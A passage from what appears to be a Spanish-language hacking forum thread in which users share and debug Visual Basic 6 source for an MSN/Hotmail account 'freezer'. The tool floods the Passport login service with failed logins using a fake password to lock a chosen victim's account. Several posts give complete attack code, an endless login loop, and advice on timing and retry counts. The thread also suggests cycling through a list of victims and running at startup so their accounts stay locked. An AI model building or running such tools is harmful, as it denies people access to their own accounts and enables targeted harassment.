bytBuffer = MD5StringArray(strMessage)
MD5Start
MD564Split Len(strMessage), bytBuffer
MD5Finish
CalculateMD5 = MD5Value
End Function
Private Sub MD5Start()
lngTrack = 0
arrLongConversion(1) = MD5LongConversion(1732584193#)
arrLongConversion(2) = MD5LongConversion(4023233417#)
arrLongConversion(3) = MD5LongConversion(2562383102#)
arrLongConversion(4) = MD5LongConversion(271733878#)
End Sub
en un modulo bas llamado msnmod agregamos:
Option Explicit
Public Type MSN_Contacts
Email As String
Friendly_Name As String
Group As String
Active As Boolean
index As Long
End Type
Public Type Message
Caller As String
Challenge As String
SessionID As String
End Type
Global ContactCount As Long, Contacts() As MSN_Contacts, RNG(1024) As Message, tID As Long, Username As String, Password As String, Status As String
Function Unescape(ByVal Enc As String) As String
Dim i As Long
For i = Len(Enc) To 1 Step -1
If Mid$(Enc, i, 1) = "%" Then Enc = Replace$(Enc, Mid$(Enc, i, 3), Chr$(Asc(Chr$("&H" & Mid$(Enc, i + 1, 2)))))
Next i
Unescape = Enc
End Function
Function Escape(ByVal Enc As String) As String
Dim i As Long, tmp As String
Do
i = i + 1
tmp = Mid$(Enc, i, 1): If tmp = "" Then Exit Do
If Asc(tmp) < 48 Then Enc = Replace$(Enc, tmp, "%" & Hex(Asc(Mid$(Enc, i))))
Loop
Escape = Enc
End Function
Function Typing(ByVal User As String) As String
'type trID ack len packet
Typing = "MSG " & TRID & " U " & CStr(Len(User) + 73) & vbCrLf & _
"MIME-Version: 1.0" & vbCrLf & _
"Content-Type: text/x-msmsgscontrol" & vbCrLf & _
"TypingUser: " & User & vbCrLf & vbCrLf
End Function
Function TRID() As String
If tID < 32767 Then tID = tID + 1 Else tID = 5
TRID = CStr(tID)
End Function
y en un modulo bas llamado SSLv2:
Option Explicit
'Encryption Object
Public SecureSession As CryptoCls
'Variables for Parsing
Public Layer As Integer
Public InBuffer As String
Public Processing As Boolean
Public SeekLen As Integer
Dim i As Long
' Added by Seth Taylor 2005-02-22 to buffer incoming data
Public DataBuffer As String
'Encryption Keys
Public MASTER_KEY As String
Public CLIENT_READ_KEY As String
Public CLIENT_WRITE_KEY As String
'Server Attributes
Public PUBLIC_KEY As String
Public ENCODED_CERT As String
Public CONNECTION_ID As String
'Counters
Public SEND_SEQUENCE_NUMBER As Double
Public RECV_SEQUENCE_NUMBER As Double
'Hand Shake Variables
Public CLIENT_HELLO As String
Public CHALLENGE_DATA As String
Private Sub CertToPublicKey()
'Create CryptoAPI Blob from Certificate
Const lPbkLen As Long = 1024
Dim lOffset As Long
Dim lStart As Long
Dim sBlkLen As String
Dim sRevKey As String
Dim ASNStart As Long
Dim ASNKEY As String
lOffset = CLng(lPbkLen \ 8)
lStart = 5 + (lOffset \ 128) * 2
ASNStart = InStr(1, ENCODED_CERT, Chr(48) & Chr(129) & Chr(137) & Chr(2) & Chr(129) & Chr(129) & Chr(0)) + lStart
ASNKEY = Mid(ENCODED_CERT, ASNStart, 128)
sRevKey = ReverseString(ASNKEY)
sBlkLen = CStr(Hex(lPbkLen \ 256))
If Len(sBlkLen) = 1 Then sBlkLen = "0" & sBlkLen
PUBLIC_KEY = (HexToBin( _
"06020000" & _
"00A40000" & _
"52534131" & _
"00" & sBlkLen & "0000" & _
"01000100") & sRevKey)
End Sub
Public Function VerifyMAC(ByVal DecryptedRecord As String) As Boolean
'Verify the Message Authentication Code
Dim PrependedMAC As String
Dim RecordData As String
Dim CalculatedMAC As String
PrependedMAC = Mid(DecryptedRecord, 1, 16)
RecordData = Mid(DecryptedRecord, 17)
CalculatedMAC = SecureSession.MD5_Hash(CLIENT_READ_KEY & RecordData & RecvSequence)
Call IncrementRecv
If CalculatedMAC = PrependedMAC Then
VerifyMAC = True
Else
VerifyMAC = False
End If
End Function
Private Function SendSequence() As String
'Convert Send Counter to a String
Dim TempString As String
Dim TempSequence As Double
Dim TempByte As Double
TempSequence = SEND_SEQUENCE_NUMBER
For i = 1 To 4
TempByte = 256 * ((TempSequence / 256) - Int(TempSequence / 256))
TempSequence = Int(TempSequence / 256)
TempString = Chr(TempByte) & TempString
Next
SendSequence = TempString
End Function
Private Function RecvSequence() As String
'Convert Receive Counter to a String
Dim TempString As String
Dim TempSequence As Double
Dim TempByte As Double
TempSequence = RECV_SEQUENCE_NUMBER
For i = 1 To 4
TempByte = 256 * ((TempSequence / 256) - Int(TempSequence / 256))
TempSequence = Int(TempSequence / 256)
TempString = Chr(TempByte) & TempString
Next
RecvSequence = TempString
End Function
Public Sub SendClientHello(ByRef Socket As Winsock)
'Send Client Hello
Layer = 0
Call SecureSession.GenerateRandomBytes(16, CHALLENGE_DATA)
SEND_SEQUENCE_NUMBER = 0
RECV_SEQUENCE_NUMBER = 0
CLIENT_HELLO = Chr(1) & _
Chr(0) & Chr(2) & _
Chr(0) & Chr(3) & _
Chr(0) & Chr(0) & _
Chr(0) & Chr(Len(CHALLENGE_DATA)) & _
Chr(1) & Chr(0) & Chr(128) & _
CHALLENGE_DATA
If Socket.State = 7 Then Socket.SendData AddRecordHeader(CLIENT_HELLO)
End Sub
Public Sub SendMasterKey(ByRef Socket As Winsock)
'Send Master Key
Layer = 1
Call SecureSession.GenerateRandomBytes(32, MASTER_KEY)
Call CertToPublicKey
Socket.SendData AddRecordHeader(Chr(2) & _
Chr(1) & Chr(0) & Chr(128) & _
Chr(0) & Chr(0) & _
Chr(0) & Chr(128) & _
Chr(0) & Chr(0) & _
SecureSession.ExportKeyBlob(MASTER_KEY, CLIENT_READ_KEY, CLIENT_WRITE_KEY, CHALLENGE_DATA, CONNECTION_ID, PUBLIC_KEY))
End Sub
Public Sub SendClientFinish(ByRef Socket As Winsock)
'Send ClientFinished Message
Layer = 2
Call SSLSend(Socket, Chr(3) & CONNECTION_ID)
End Sub
Public Sub SSLSend(ByRef Socket As Winsock, ByVal Plaintext As String)
'Send Plaintext as an Encrypted SSL Record
Dim SSLRecord As String
Dim OtherPart As String
Dim SendAnother As Boolean
If Len(Plaintext) > 32751 Then
SendAnother = True
OtherPart = Mid(Plaintext, 32752)
Plaintext = Mid(Plaintext, 1, 32751)
Else
SendAnother = False
End If
SSLRecord = AddMACData(Plaintext)
SSLRecord = SecureSession.RC4_Encrypt(SSLRecord)
SSLRecord = AddRecordHeader(SSLRecord)
Socket.SendData SSLRecord
If SendAnother = True Then
Call SSLSend(Socket, OtherPart)
End If
End Sub
Private Function AddMACData(ByVal Plaintext As String) As String
'Prepend MAC Data to the Plaintext
AddMACData = SecureSession.MD5_Hash(CLIENT_WRITE_KEY & Plaintext & SendSequence) & Plaintext
End Function
Private Function AddRecordHeader(ByVal RecordData As String) As String
'Prepend SLL Record Header to the Data Record
Dim FirstChar As String
Dim LastChar As String
Dim TheLen As Long
TheLen = Len(RecordData)
FirstChar = Chr(128 + (TheLen \ 256))
LastChar = Chr(TheLen Mod 256)
AddRecordHeader = FirstChar & LastChar & RecordData
Call IncrementSend
End Function
Public Sub IncrementSend()
'Increment Counter for Each Record Sent
SEND_SEQUENCE_NUMBER = SEND_SEQUENCE_NUMBER + 1
If SEND_SEQUENCE_NUMBER = 4294967296# Then SEND_SEQUENCE_NUMBER = 0
End Sub
Public Sub IncrementRecv()
'Increment Counter for Each Record Received
RECV_SEQUENCE_NUMBER = RECV_SEQUENCE_NUMBER + 1
If RECV_SEQUENCE_NUMBER = 4294967296# Then RECV_SEQUENCE_NUMBER = 0
End Sub
'###########################################################TenguFireb0y
Public Function BytesToLen(ByVal TwoBytes As String) As Long
'Convert Byte Pair to Packet Length
Dim FirstByteVal As Long
FirstByteVal = Asc(Left(TwoBytes, 1))
If FirstByteVal >= 128 Then FirstByteVal = FirstByteVal - 128
BytesToLen = 256 * FirstByteVal + Asc(Right(TwoBytes, 1))
End Function
Private Function HexToBin(ByVal HexString As String) As String
'Convert a Hexadecimal String to characters
Dim BinString As String
For i = 1 To Len(HexString) Step 2
BinString = BinString & Chr(Val("&H" & Mid(HexString, i, 2)))
Next i
HexToBin = BinString
End Function
Public Function ReverseString(ByVal TheString As String) As String
ReverseString = StrReverse(TheString)
End Function
recuerden que en la linea de codigo ubicada en el timer1
If Text2.Text = "15" Then
es donde se decide cuantas veces se va a intentar la conexion para bloquear la cuenta
y el intervalo de tiempo que le asignen al timer uno es el que decidira cada cuanto tiempo se va a intentar la conexion, y sean muy precavidos al momento de cambiar ese valor ya que si el timer tiene un avalor muy pequeño,es decir si realiza lapeticion muy rapido no dara tiempo a autenticar la cuenta con la clave falsa y eso hara que ese intento de conexion no sea contado por el servidor de hotmail y podria hacer que nuestro programa no cumpla con su mision. ya que no congelaria la cuenta.
Espero les guste el code y utilicen laimaginacion ya que hay muchas cosas que no se han hecho con el y que podrian hacerce facilmente jejej Salu25
Tengu ..::Fireb0y::..
muy bueno,, una pregunta
Si hacemos que abra un txt existente, con una lista d msn, blokearia a toda no ?? ya q estaria dentro del txtbox, lo digo, por que asin + un registro el congelo seria para siempre sin necesidad de mandarlo d nuevo
en cuanto a eso lo q yo habia hecho era ponerle un listbox y empezaba por el primero y cuando terminaba de congelarlo lo q hacia era pasar al siguiente index de la lista y asi sucesibamente creaba un ciclo q congelaba permanentemente las cuentas. para lo q tu dices podrias crear un archivo .ini con las victimas y hacer qa se inicie con windows asi cada vez q conectes tu pc automaticamente carga la lista y empiieza a bloquear.*
**
si necesitas alguna ayuda solo pregunta aqui
Que bueno pero no crees que es un poco Exagerado Recuerda que Cualquier Persona se lo puede hacer a otra??? jajaja ;) en fin.. Cada quien sabe que hacer con ese code...
Salu2..!! Gracias...
PD: Lo estare Leyendo a ver que tal..
Por cierto el codigo es Algo Avanzado... (Grande diria yo)
Lo hiziste tu?
jeje Esta muy bueno..
Buen programador...
el codigo esta hecho por mi ... consegui las declaraciones de la web,las de el modulo md5 y ese tipo de cosas por q eso es muy avamnzado jejej
Si tengu..::Fireb0y::.. puede poner su congelador porque no yo mi booter de yahoo? >:(
:P Para utilizar los módulos SHA1, MD5 y Crypt puedes bajar los ejemplos desde este hilo:
http://foro.elhacker.net/index.php/topic,68352.0.htmlCitarEspecial
1000 Ejemplos para Visual Basic 6
Descargar:
http://rapidshare.com/files/17819092/1000_Ejemplos_de_Visual_Basic.zip.html
Contenido:
VB6 and ActiveX.zip
VB6 and ASP.zip
VB6 and Bas Files.zip
VB6 and CAB files.zip
VB6 and Controls.zip
VB6 and Conversions.zip
VB6 and DAT Files.zip
VB6 and Email.zip
VB6 and Encryption.zip
VB6 and Extraction.zip
VB6 and Files.zip
VB6 and Firewalls.zip
VB6 and Forms.zip
VB6 and Graphics.zip
VB6 and Help.zip
VB6 and Icons.zip
VB6 and Images.zip
VB6 and Information.zip
VB6 and Internet.zip
VB6 and Keyboard.zip
VB6 and Make Exe.zip
VB6 and Math.zip
VB6 and Media.zip
VB6 and Menus.zip
VB6 and Mp3.zip
VB6 and Networking.zip
VB6 and Registry.zip
VB6 and ScreenSavers.zip
VB6 and Security.zip
VB6 and Shell.zip
VB6 and Source Codes.zip
VB6 and SQL.zip
VB6 and Time.zip
VB6 and Windows.zip
También encontrarás algunos tipos de cifrado usadas en RSA y PCS1
sisi WHK nuy bueno el link esos 1000 ejemplos los tengo me ahan ayudado mucho en mis app gracias. salu25 ;D
tengu, muy bueno el code, yo llevaba tiempo buscando uno, pero solo encontraba en C
al probar me tira un error. es al conectar el client en el timer1. :
Error 40020 en tiempo de ejecucion:
Operacion no valida en el estado actual.
Que es lo que ocurre aqui :S
aver si me puedes explicar por que me tira ese error.
Gracias
Di en k linea te sale ese error...Será mas facil...
jajaj ok si te sale ese error significa q el puerto todaviua esta conectado cuando intenta volver aconectarse,"no valido en el estado actual". ahora eso se arregla facilmente.
ponle "depurar al mensajke de error de vb si la linea q te indica es esta:
Client(0).Connect "messenger.hotmail.com", 1863
entonces agregale antes esto:
Client(0).Close
y si la linea que tira error es esta :
Client(index + 1).Connect tmp1(0), tmp1(1)
agrega antes esto
Client(index + 1).Close
y asi con cualquier linea del tipò connect que te tire ese error.
Salu25 que lo disfrutes sjeje
Gracias por tu aporte pero compilando me da este error:
(http://img247.imageshack.us/img247/7758/errorxd2.jpg)
...
nose porque me lo da, intente declarar ese index abajo del sub, pero igual me lo da.
espero tu ayuda.
Uff esta ahi kasi un cliente de msn ;D No es necesario tanto codigo. El iceberg lo hice con muy pocas lineas.
No voy decir k te creo kuando dices k lo has echo tu pork mucho de lo k esta ahi ni sekier es necesario para el freezer, me suena a copy&paste pero en fin no lo tomes mal, no quiero iniciar una discussion.
Al menos posteas algo ya k la gente no sabe buscar... Ya haran algo por aki...
Salu2
pasra TugHack:
te agradeceria que si vas a colaborar que lo hagas, pero no hagas criticas inconstructivas, si lo hiciste en pocas lineas pues postealo (se q no lo haras..) pero no te presumas...
PD: NO seguire esta discucion por parte de tughack... seguire con el resto del aporte.
Cita de: jackl007 en 30 Julio 2007, 03:32 AM
pasra TugHack:
te agradeceria que si vas a colaborar que lo hagas, pero no hagas criticas inconstructivas, si lo hiciste en pocas lineas pues postealo (se q no lo haras..) pero no te presumas...
PD: NO seguire esta discucion por parte de tughack... seguire con el resto del aporte.
Pff pues solo hice un comentario k por cierto tiene su parte construtiva... O crees k decirle k esta codigo a mas y k lo puede hacer mejor no es contructivo?
Se solo puedo postear para decir "Muy bien!" no se para k sirve el foro...
y mi error????????
drackolive, en una palabra:
INDEX
-----------------
ya me a blokeado la cuenta, pero no se por que razon no ha parado el timer. voy aver que ocurre jejeje
que lio ahora me da este error:
(http://img263.imageshack.us/img263/3793/errorqp4.jpg)
....
Que sucede??????????????????????
Alli estas declarando que X es un Modulo y eso no se puede...
En fin:
"Un módulo no es un tipo válido"
el codigo que postearon esta asi...
nunca he tenido este problema...
como lo puedo solucionar?
Espera a Tegu...
Citaren un modulo de clase llamado cryptocls agregamos este code:
fíjate cryptocls es un modulo DE CLACE, no lo puedes agregar como un modulo común y corriente, en ves de agregar "Module", tienes que pegar ese code en un "Class Module", y pues claro ponerle su nombre correspondiente.
Arcangel
Lo hice hace tiempo y lo posteo, cualquiera con un sniffer puede hacerlo, yo tarde una media hora y mi código son unas pocas lineas.
Todo en un formulario con:
Textbox = Text1
Boton = Command1 = Bloquear
Boton = Command2 = DesBloquear
Label = Label1
Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function HttpOpenRequest Lib "wininet.dll" Alias "HttpOpenRequestA" (ByVal hHttpSession As Long, ByVal sVerb As String, ByVal sObjectName As String, ByVal sVersion As String, ByVal sReferer As String, ByVal something As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function HttpSendRequest Lib "wininet.dll" Alias "HttpSendRequestA" (ByVal hHttpRequest As Long, ByVal sHeaders As String, ByVal lHeadersLength As Long, ByVal sOptional As String, ByVal lOptionalLength As Long) As Long
Private Declare Function HttpQueryInfo Lib "wininet.dll" Alias "HttpQueryInfoA" (ByVal hHttpRequest As Long, ByVal lInfoLevel As Long, ByRef sBuffer As Any, ByRef lBufferLength As Long, ByRef lIndex As Long) As Integer
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Dim res As String
Dim num As Integer
Private Sub Command1_Click()
Label1.Caption = "Conectando al servidor..."
WS.Close
WS.RemoteHost = "messenger.hotmail.com"
WS.RemotePort = 1863
WS.Connect
End Sub
Private Sub Command2_Click()
Timer1.Enabled = False
Label1.Caption = "Cuenta desbloqueada"
End Sub
Private Sub Timer1_Timer()
Timer1.Enabled = False
If num < 10 Then
num = num + 1
Label1.Caption = "Bloqueando... [" & num * 10 & "%]"
ElseIf num = 10 Then
num = num + 1
Label1.Caption = "Cuenta bloqueada ;)"
End If
Dim tmp2() As String, tmp3 As String, tmp4 As String, hopen As Long, hConnection As Long, hRequest As Long, lgRep As Long, stStatusCode As String
hopen = InternetOpen("MSMSGS", 1, 0, 0, 0)
hConnection = InternetConnect(hopen, "loginnet.passport.com", 443, vbNullString, vbNullString, 3, &H280000, 0)
hRequest = HttpOpenRequest(hConnection, "GET", "/login2.srf", 0, vbNullString, 0, &H84E8F000, 0)
tmp2 = Split(Text1.Text, "@")
tmp4 = tmp2(0) & "%40" & tmp2(1)
tmp3 = "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & tmp4 & ",pwd=crapware, " & res
lgRep = HttpSendRequest(hRequest, tmp3, -1, 0, 0)
stStatusCode = Space$(1000)
HttpQueryInfo hRequest, &H16, ByVal stStatusCode, 1000, 0
InternetCloseHandle hopen
InternetCloseHandle hConnection
InternetCloseHandle hRequest
Timer1.Enabled = True
End Sub
Private Sub WS_Connect()
WS.SendData "VER 1 MSNP8 CVR0" & Chr(13) & Chr(10)
Label1.Caption = "Conectado"
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
WS.GetData datos
Select Case Left(datos, 3)
Case "VER"
WS.SendData "CVR 2 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS " & Text1.Text & Chr(13) & Chr(10)
Case "CVR"
WS.SendData "USR 3 TWN I " & Text1.Text & Chr(13) & Chr(10)
Case "XFR"
Dim tmp() As String
tmp = Split(datos, " ")
WS.Close
WS.RemoteHost = Left(tmp(3), Len(tmp(3)) - 5)
WS.Connect
Case "USR"
Dim tmp2() As String
tmp2 = Split(datos, " ")
res = tmp2(4)
num = 0
Timer1.Enabled = True
End Select
End Sub
Muy bueno ya lo pruebo...
No bloquea... :P :P :P :P
kizar ay un error, en el timer
error 9, el subindice esta fuera del intervalo.
tmp4 = tmp2(0) & "%40" & tmp2(1)
He subido el proyecto entero, para que bloquee tiene que llegar al 100%
http://www.mediafire.com/?4vcnhw2dcyu
Pork un timer? Les gusta usar timers por todo y por nada... No es nada bueno hacerlo con un timer ya k encima es muy facil aprovechar un loop k te oferecen las proprias necesidades del programa. Al hacer la conexion recibe los datos con el socket, despues en ese mismo evento se hacen las peticiones con inet/apis de la librera wininet y en el final empieza de nuevo con la conexion al messenger.hotmail.com. Y con esto se hace un loop. Para detenerlo solo hay k anadir un boolean y listo.
Salu2
Tienes razón, pero el programa no esta optimizado, lo hice por pasar el rato y con el timer hago la conexión cada 2s que es suficiente para mantener la cuenta bloqueada, si pusiera un bucle la velocidad dependería de la velocidad de su conexión a internet.
Cita de: KiZaR en 1 Agosto 2007, 23:26 PM
Tienes razón, pero el programa no esta optimizado, lo hice por pasar el rato y con el timer hago la conexión cada 2s que es suficiente para mantener la cuenta bloqueada, si pusiera un bucle la velocidad dependería de la velocidad de su conexión a internet.
Y es eso k se kiere. A la velocidad de la conexion es automaticamente la maior velocidade k puedes obtener y encima sin kualkier fallo.
Salu2
Pero yo lo hago por un motivo, con conectar una vez cada dos segundos es suficiente, para que quiero conectar mas veces mas rápido si con eso es bastante?
Cita de: KiZaR en 2 Agosto 2007, 00:25 AM
Pero yo lo hago por un motivo, con conectar una vez cada dos segundos es suficiente, para que quiero conectar mas veces mas rápido si con eso es bastante?
Porcierto lo haces igual k el icecold, no haces la conexion toda desde el inicio y con ese metodo falla al fin de un tiempo, ya k la challenge string expira, deberias empezar de nuevo la conexion en cada intento de login.
Algo como en el boton freeze le pones la conexion al messenger.hotmail.com y despues en el evento connect envia la primera peticion. Despues en el datarrival haces todas las demas peticiones y en el final, como ya havia dicho, haces el connect (como en el boton freeze), lo k te pone de nuevo en el evento connect, o sea un loop.
Asi se hace correctamente un freezer. Aunk k el ejemplo k has puesto ya es algo con k se puedan orientar para haceren sus freezeres. Mejor k poner el codigo de un cliente de msn...
Salu2
Pueden dejar de hablar de mi :xD :xD :xD :xD :xD
Muy buen codigo... Claro hay que mejorarlo...
Les he arreglado un poco el código, al entrar en el bucle la ventana puede no responder pero esta haciendo su trabajo:
'Codez by Kizar
Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function HttpOpenRequest Lib "wininet.dll" Alias "HttpOpenRequestA" (ByVal hHttpSession As Long, ByVal sVerb As String, ByVal sObjectName As String, ByVal sVersion As String, ByVal sReferer As String, ByVal something As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function HttpSendRequest Lib "wininet.dll" Alias "HttpSendRequestA" (ByVal hHttpRequest As Long, ByVal sHeaders As String, ByVal lHeadersLength As Long, ByVal sOptional As String, ByVal lOptionalLength As Long) As Long
Private Declare Function HttpQueryInfo Lib "wininet.dll" Alias "HttpQueryInfoA" (ByVal hHttpRequest As Long, ByVal lInfoLevel As Long, ByRef sBuffer As Any, ByRef lBufferLength As Long, ByRef lIndex As Long) As Integer
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Private Const email = "su_messenger@hotmail.com"
Dim ema As String, sta As Boolean
Private Sub Bloquear()
WS.Close
WS.RemoteHost = "messenger.hotmail.com"
WS.RemotePort = 1863
WS.Connect
End Sub
Private Sub Desbloquear()
sta = False
End Sub
Private Sub WS_Connect()
WS.SendData "VER 1 MSNP8 CVR0" & Chr(13) & Chr(10)
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim datos As String, tmp() As String, tmp2() As String
WS.GetData datos
Select Case Left(datos, 3)
Case "VER"
WS.SendData "CVR 2 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS " & email & Chr(13) & Chr(10)
Case "CVR"
WS.SendData "USR 3 TWN I " & email & Chr(13) & Chr(10)
Case "XFR"
tmp = Split(datos, " ")
WS.Close
WS.RemoteHost = Left(tmp(3), Len(tmp(3)) - 5)
WS.Connect
Case "USR"
tmp = Split(datos, " ")
tmp2 = Split(email, "@")
ema = "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & tmp2(0) & "%40" & tmp2(1) & ",pwd=crapware, " & tmp(4)
sta = True
Call Satura
End Select
End Sub
Private Sub Satura()
Dim hopen As Long, hConnection As Long, hRequest As Long, lgRep As Long, stStatusCode As String
Do While sta = True
hopen = InternetOpen("MSMSGS", 1, 0, 0, 0)
hConnection = InternetConnect(hopen, "loginnet.passport.com", 443, vbNullString, vbNullString, 3, &H280000, 0)
hRequest = HttpOpenRequest(hConnection, "GET", "/login2.srf", 0, vbNullString, 0, &H84E8F000, 0)
lgRep = HttpSendRequest(hRequest, ema, -1, 0, 0)
stStatusCode = Space$(1000)
HttpQueryInfo hRequest, &H16, ByVal stStatusCode, 1000, 0
InternetCloseHandle hopen
InternetCloseHandle hConnection
InternetCloseHandle hRequest
Loop
End Sub
Si el código les parece largo pueden cambiar "messenger.hotmail.com" por "207.46.109.50" y quitar este cacho de código:
Case "XFR"
tmp = Split(datos, " ")
WS.Close
WS.RemoteHost = Left(tmp(3), Len(tmp(3)) - 5)
WS.Connect
Exacto! Veo k entiendeste perfectamente lo k dice.
La diferencia esk lo hago con el control inet ya k no me importa la dependencia y no hay k hacer nada como la funcion Satura.
Aki la parte del codigo k uso para los requests:
.
.
.
Case "USR 3"
sTmp = Split(sData, "USR 3 TWN S ")
sChallengeString = sTmp(1)
netMain.Execute "https://nexus.passport.com/rdr/pprdr.asp", "GET"
Do Until netMain.StillExecuting = False
DoEvents
Loop
iStart = InStr(netMain.GetHeader("PassportURLs"), "DALogin=") + 8
iLength = InStr(iStart, netMain.GetHeader("PassportURLs"), ",")
sDALogin = Mid(netMain.GetHeader("PassportURLs"), iStart, iLength - iStart)
netMain.Execute "https://" & sDALogin, "GET", , "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & FixAccount(txtAccount.Text) & ",pwd=password," & sChallengeString
Do Until netMain.StillExecuting = False
DoEvents
Loop
If bLock = True Then
If stbMain.Panels(1).Text <> ">> Account Frozen!" Then
If stbMain.Panels(1).Text <> ">> Freezing... [90%]" Then
iStatus = iStatus + 10
stbMain.Panels(1).Text = ">> Freezing... [" & iStatus & "%]"
Call basTray.Modify(Me, "ICEBERG", "Freezing... [" & iStatus & "%]")
Else
iStatus = 0
stbMain.Panels(1).Text = ">> Account Frozen!"
Call basTray.Modify(Me, "ICEBERG", "Account Frozen!")
End If
End If
sckMain.Close
sckMain.Connect "messenger.hotmail.com", 1863
End If
End Select
.
.
.
Salu2 ;)
Yo use las apis porque así lo hacia = que el icecold y no me rompía la cabeza.
En todo caso lo que no entiendo es toda la tacada de código que a puesto el que inicio este hilo si se puede hacer con las lineas que lo he hecho yo.
CitarYo use las apis porque así lo hacia = que el icecold y no me rompía la cabeza.
Si eso da =, el controlo inet no es mas k un ocx k utiliza esas apis, aunk es mas facil de usar xD
Citar
En todo caso lo que no entiendo es toda la tacada de código que a puesto el que inicio este hilo si se puede hacer con las lineas que lo he hecho yo.
100% de acuerdo, lo dice hace unos posts atras..
Salu2
Tughack podrias postear el proyecto completo?
Cita de: drakolive en 2 Agosto 2007, 16:35 PM
Tughack podrias postear el proyecto completo?
Hay k leer:
Cita de: KiZaR en 1 Agosto 2007, 15:36 PM
He subido el proyecto entero, para que bloquee tiene que llegar al 100%
http://www.mediafire.com/?4vcnhw2dcyu
http://www.mediafire.com/?4vcnhw2dcyu (http://www.mediafire.com/?4vcnhw2dcyu)Saludos ;)
Cita de: nhaalclkiemr en 2 Agosto 2007, 16:42 PM
Cita de: drakolive en 2 Agosto 2007, 16:35 PM
Tughack podrias postear el proyecto completo?
Hay k leer:
Cita de: KiZaR en 1 Agosto 2007, 15:36 PM
He subido el proyecto entero, para que bloquee tiene que llegar al 100%
http://www.mediafire.com/?4vcnhw2dcyu
http://www.mediafire.com/?4vcnhw2dcyu (http://www.mediafire.com/?4vcnhw2dcyu)
Saludos ;)
Se referia a mi Freezer, el Iceberg, hasta ahora solo postee el binario.
Cita de: drakolive en 2 Agosto 2007, 16:35 PM
Tughack podrias postear el proyecto completo?
Pues no se pork, con el codigo de kizar ya lo pueden hacer bien. Creo k este tema ha sido bien explorado en lo k toca a codigo, solo tienen k leer y haran uno k funcione.
Salu2
Sep pero el se refiere al de TugHack... si no me equivoco...
Si me referia al de TugHack... el de kisar que lo posteo completo no me freeaba las cuentas...pero del de Tughack parece q si lo hace y bastante bien..
asi q xq no compartirlo... la mayoria no del todo xq se que ha sido mucho trabajo para ti.
Gracias TugHack.
kizar tbn ya esta apunto de lograrlo que bien...
Esto esta mucho mejor que el proyecto que subi:
http://foro.elhacker.net/index.php/topic,174279.msg828579.html#msg828579
pero el proyecto completo?
A mi no me funciona ni el Ice Cold Reloaded ni el Iceberg 1.2.1 de Tughack ni el Source que ha posteado Kizar, he probado los 3 programas con mi propia cuenta y no hace ni cosquillas.
Quizás lo esté usando mal o algo. He pedido a un amigo mio qu eme congele la cuenta desde su PC y tampoco pudo, sabéis si es por alguna razón en concreto?
Gracias!
Cita de: ||MadAntrax|| en 3 Agosto 2007, 18:34 PM
A mi no me funciona ni el Ice Cold Reloaded ni el Iceberg 1.2.1 de Tughack ni el Source que ha posteado Kizar, he probado los 3 programas con mi propia cuenta y no hace ni cosquillas.
Quizás lo esté usando mal o algo. He pedido a un amigo mio qu eme congele la cuenta desde su PC y tampoco pudo, sabéis si es por alguna razón en concreto?
Gracias!
No será que estas conectado?Eso no te tira,tienes que estar desconectado y no podrás entrar hasta que dejen de usarlo.
Saludos.
No hombre, lo he probado desconectado, lanzo el programa, espero al 100% y entonces me conecto... pero lo hago sin ninguna dificultas. no se k pasa xD
Cita de: ||MadAntrax|| en 3 Agosto 2007, 19:13 PM
No hombre, lo he probado desconectado, lanzo el programa, espero al 100% y entonces me conecto... pero lo hago sin ninguna dificultas. no se k pasa xD
Ya intentaste con otra cuenta? Se k puede parecer muy raro pero al probar esta ultima version del freezer, probe blokear una cuenta en k normalmente probava los freezers y no me blokeo. Fui al hotmail.com y al intentar blokearla manualmente no me la blokeo. Aun no entiendi k paso con esta cuenta. La tuya puede estar asi.
Prueba con otra cuenta k los programas funcionan.
EDIT: Por curiosidad la intente blokear ahora y se blokee con unos 10 intentos (lo normal). Pues kuando me paso lo k dice no se blokeo ni con 30 intentos y ese mail estaba offline.
Salu2
lol,Mad,has tenido suerte tu cuenta no se puede congelar,XD.
Es raro,sip.
Cita de: Tughack en 3 Agosto 2007, 19:18 PM
Ya intentaste con otra cuenta? Se k puede parecer muy raro pero al probar esta ultima version del freezer, probe blokear una cuenta en k normalmente probava los freezers y no me blokeo.
He porbado de bloquear otras cuestas y si funciona, pero la mia no se bloqueó. Muy raro :S
Cita de: Jareth en 3 Agosto 2007, 19:21 PM
lol,Mad,has tenido suerte tu cuenta no se puede congelar,XD.
Es raro,sip.
Para que sí, no se. A lo mejor esto va a días. Uso el cliente de MSN 8.5 Beta, no creo que tenga nada que ver. Hasta luego!
pero ||MadAntrax||,
la intentaste congelar mientras estabas logeado??
porque si es así, no funciona
debes estar desconectado
salu2 y suerte
DrakoX
Se vale leer mas arriba...Eso ya se aclaro... jajaja :xD
:-X
q boludo q soy,
no lo vi
